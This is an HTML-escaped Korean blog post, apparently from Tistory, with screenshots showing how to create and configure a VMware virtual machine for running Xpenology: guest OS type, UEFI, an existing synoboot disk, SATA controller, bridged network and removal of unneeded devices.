&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;VMware 생성&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;그냥 느낌가는 데로 하면 되는 데...&lt;/p&gt;
&lt;p&gt;이걸 글로 쓰니&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;분량이 많다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;1. Create a custom virltual machine&lt;br /&gt;&lt;br /&gt;2. &lt;b&gt;Linux &amp;gt; Other Linux 2.6.x kernel 64-bit&lt;br /&gt;&lt;br /&gt;3. UEFI 선택&lt;br /&gt;&lt;br /&gt;4. &lt;b&gt;Use an existing virtual disk&lt;/b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;선택&lt;br /&gt;&lt;br /&gt;5. Make a separate copy of the virtual disk 선택&lt;br /&gt;&lt;br /&gt;6. 앞에서 생성했던 synoboot.vmdk 선택&lt;br /&gt;&amp;nbsp; &amp;nbsp;Make a separate copy of the virtual disk 선택&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;7. Customize Settings&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;클릭&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;아, &lt;u&gt;&lt;b&gt;윈도우에서 진행하면&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;b&gt;화면이 많이 다를텐데&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;b&gt;설정은 동일&lt;/b&gt;&lt;/u&gt;하다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;설치할 VMware를 생성한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;631&quot; data-origin-height=&quot;528&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bz3Cl3/btqTJSuADLh/J1ktthjat6h0b9GtdAVLW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bz3Cl3/btqTJSuADLh/J1ktthjat6h0b9GtdAVLW1/img.png&quot; data-alt=&quot;Create a custom virtual machine&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bz3Cl3/btqTJSuADLh/J1ktthjat6h0b9GtdAVLW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbz3Cl3%2FbtqTJSuADLh%2FJ1ktthjat6h0b9GtdAVLW1%2Fimg.png&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;631&quot; data-origin-height=&quot;528&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Create a custom virtual machine&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;b&gt;Linux &amp;gt; Other Linux 2.6.x kernel 64-bit&lt;/b&gt;&lt;/u&gt; 선택한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;637&quot; data-origin-height=&quot;534&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/87uJQ/btqTDI1bfQC/VETkLFphMD0A3kQ4WFaRo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/87uJQ/btqTDI1bfQC/VETkLFphMD0A3kQ4WFaRo1/img.png&quot; data-alt=&quot;Linux &amp;amp;amp;gt; Other Linux 2.6.x kernel 64-bit 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/87uJQ/btqTDI1bfQC/VETkLFphMD0A3kQ4WFaRo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F87uJQ%2FbtqTDI1bfQC%2FVETkLFphMD0A3kQ4WFaRo1%2Fimg.png&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;637&quot; data-origin-height=&quot;534&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Linux &amp;gt; Other Linux 2.6.x kernel 64-bit 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;b&gt;UEFI&lt;/b&gt;&lt;/u&gt;를 선택한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;637&quot; data-origin-height=&quot;531&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cMUxWF/btqTF2rghkT/kxJIsp9InhJTKS2Vmqgkxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cMUxWF/btqTF2rghkT/kxJIsp9InhJTKS2Vmqgkxk/img.png&quot; data-alt=&quot;UEFI 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cMUxWF/btqTF2rghkT/kxJIsp9InhJTKS2Vmqgkxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcMUxWF%2FbtqTF2rghkT%2FkxJIsp9InhJTKS2Vmqgkxk%2Fimg.png&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;637&quot; data-origin-height=&quot;531&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;UEFI 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;b&gt;Use an existing virtual disk&lt;/b&gt;&lt;/u&gt;를 선택한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;10.png&quot; data-origin-width=&quot;633&quot; data-origin-height=&quot;530&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdtc4W/btqTF2rgi88/KxwXtVah7raExF5pnQUckK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdtc4W/btqTF2rgi88/KxwXtVah7raExF5pnQUckK/img.png&quot; data-alt=&quot;Use an existing virtual disk 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdtc4W/btqTF2rgi88/KxwXtVah7raExF5pnQUckK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbdtc4W%2FbtqTF2rgi88%2FKxwXtVah7raExF5pnQUckK%2Fimg.png&quot; data-filename=&quot;10.png&quot; data-origin-width=&quot;633&quot; data-origin-height=&quot;530&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Use an existing virtual disk 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;앞에서 생성했던 vmdk를 선택하고,&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;b&gt;Make a separate copy of the virtual disk&lt;/b&gt;&lt;/u&gt;를 선택한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;448&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBfSVS/btqTELJ7rbK/vx6N6xhYOcO29GdXad5kBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBfSVS/btqTELJ7rbK/vx6N6xhYOcO29GdXad5kBk/img.png&quot; data-alt=&quot;Make a separate copy of the virtual disk 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBfSVS/btqTELJ7rbK/vx6N6xhYOcO29GdXad5kBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBfSVS%2FbtqTELJ7rbK%2Fvx6N6xhYOcO29GdXad5kBk%2Fimg.png&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;448&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Make a separate copy of the virtual disk 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;아래 같이 VMware가 생성된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;633&quot; data-origin-height=&quot;530&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dkB4oz/btqTNA7PHzB/LKktESEvEkQkkSi4Pj2CUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dkB4oz/btqTNA7PHzB/LKktESEvEkQkkSi4Pj2CUK/img.png&quot; data-alt=&quot;설정된 VMware&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dkB4oz/btqTNA7PHzB/LKktESEvEkQkkSi4Pj2CUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdkB4oz%2FbtqTNA7PHzB%2FLKktESEvEkQkkSi4Pj2CUK%2Fimg.png&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;633&quot; data-origin-height=&quot;530&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;설정된 VMware&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;b&gt;Customize Settings&lt;/b&gt;&lt;/u&gt; 클릭&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;632&quot; data-origin-height=&quot;529&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MKwCy/btqTDIfOCgW/pXDe3YKTf0sbfZj61gRFek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MKwCy/btqTDIfOCgW/pXDe3YKTf0sbfZj61gRFek/img.png&quot; data-alt=&quot;Customize Settings 클릭&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MKwCy/btqTDIfOCgW/pXDe3YKTf0sbfZj61gRFek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMKwCy%2FbtqTDIfOCgW%2FpXDe3YKTf0sbfZj61gRFek%2Fimg.png&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;632&quot; data-origin-height=&quot;529&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Customize Settings 클릭&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;VMware를 생성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;844&quot; data-origin-height=&quot;476&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bn5q0k/btqTDIthaEw/lWLqIES75ok5Su7KsxvX6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bn5q0k/btqTDIthaEw/lWLqIES75ok5Su7KsxvX6k/img.png&quot; data-alt=&quot;vmware 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bn5q0k/btqTDIthaEw/lWLqIES75ok5Su7KsxvX6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbn5q0k%2FbtqTDIthaEw%2FlWLqIES75ok5Su7KsxvX6k%2Fimg.png&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;844&quot; data-origin-height=&quot;476&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;vmware 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;VMware 설정&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이제 생성한 VMware의 설정을 해야한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1. Processors &amp;amp; Memory, Network Adapter, Hard Disk는 수정&lt;br /&gt;&lt;/b&gt;- 프로세서와 메모리: 원하는 데로&lt;br /&gt;- Network: Autodetect, 윈도우에선 Bridged Network&lt;br /&gt;- Hard Disk: &lt;b&gt;SATA 설정&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. CD/DVD(IDE), Sound Card, Printer, Camera 삭제&lt;/b&gt;&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;설정하거나 삭제해야할 목록이다.&lt;/p&gt;
&lt;p&gt;메모리, 네트워크, 하드디스크는 변경해야하고,&lt;/p&gt;
&lt;p&gt;나머지는 삭제해야 한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;391&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYy4cg/btqTENnz3x8/oRkhm9pNKMMg1vpUYMohLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYy4cg/btqTENnz3x8/oRkhm9pNKMMg1vpUYMohLk/img.png&quot; data-alt=&quot;설정 대상들&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYy4cg/btqTENnz3x8/oRkhm9pNKMMg1vpUYMohLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYy4cg%2FbtqTENnz3x8%2FoRkhm9pNKMMg1vpUYMohLk%2Fimg.png&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;391&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;설정 대상들&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;우선 프로세서와 메모리를 수정한다.&lt;/p&gt;
&lt;p&gt;원하는 값으로 설정하면 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;7.png&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;363&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brD0Xx/btqTDI1apWN/yxGGVtnQlz4LfGiHjv5pb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brD0Xx/btqTDI1apWN/yxGGVtnQlz4LfGiHjv5pb1/img.png&quot; data-alt=&quot;프로세서와 메모리 수정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brD0Xx/btqTDI1apWN/yxGGVtnQlz4LfGiHjv5pb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrD0Xx%2FbtqTDI1apWN%2FyxGGVtnQlz4LfGiHjv5pb1%2Fimg.png&quot; data-filename=&quot;7.png&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;363&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;프로세서와 메모리 수정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;다음으로 네트워크를 수정한다.&lt;/p&gt;
&lt;p&gt;윈도우에선 &lt;u&gt;&lt;b&gt;Bridged Network&lt;/b&gt;&lt;/u&gt;로 설정해주면 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;433&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QP3fz/btqTKLWjgsN/Wws7rTZgyVlfkgBB3UTgI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QP3fz/btqTKLWjgsN/Wws7rTZgyVlfkgBB3UTgI1/img.png&quot; data-alt=&quot;Autodetect 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QP3fz/btqTKLWjgsN/Wws7rTZgyVlfkgBB3UTgI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQP3fz%2FbtqTKLWjgsN%2FWws7rTZgyVlfkgBB3UTgI1%2Fimg.png&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;433&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Autodetect 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;다음은 하드디스크 설정이다.&lt;/p&gt;
&lt;p&gt;하드디스크를 선택한 후,&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;b&gt;SCSI를 SATA로 변경&lt;/b&gt;&lt;/u&gt;한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;633&quot; data-origin-height=&quot;357&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjYqw9/btqTEL4mumv/sdcMO2g1YzNKNdyCq1TQyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjYqw9/btqTEL4mumv/sdcMO2g1YzNKNdyCq1TQyK/img.png&quot; data-alt=&quot;SCSI &amp;amp;amp;gt; SATA로 변경&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjYqw9/btqTEL4mumv/sdcMO2g1YzNKNdyCq1TQyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjYqw9%2FbtqTEL4mumv%2FsdcMO2g1YzNKNdyCq1TQyK%2Fimg.png&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;633&quot; data-origin-height=&quot;357&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;SCSI &amp;gt; SATA로 변경&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;그리고 헤놀로지를 설치할 디스크를 추가해준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;7.png&quot; data-origin-width=&quot;637&quot; data-origin-height=&quot;309&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pIzVX/btqTLyPYZ6z/YU40S5zgwlNBhDUBhaG6l0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pIzVX/btqTLyPYZ6z/YU40S5zgwlNBhDUBhaG6l0/img.png&quot; data-alt=&quot;Xpenology 디스크 추가&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pIzVX/btqTLyPYZ6z/YU40S5zgwlNBhDUBhaG6l0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpIzVX%2FbtqTLyPYZ6z%2FYU40S5zgwlNBhDUBhaG6l0%2Fimg.png&quot; data-filename=&quot;7.png&quot; data-origin-width=&quot;637&quot; data-origin-height=&quot;309&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Xpenology 디스크 추가&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;설정이 끝난 모습이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
